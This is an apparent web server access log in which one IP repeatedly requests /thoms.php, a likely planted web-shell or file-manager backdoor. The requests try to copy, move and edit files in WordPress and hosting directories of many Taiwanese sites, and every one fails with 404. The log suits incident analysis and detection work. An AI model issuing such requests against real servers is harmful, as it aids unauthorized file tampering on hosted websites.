45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?edit=license.txt&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:52 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
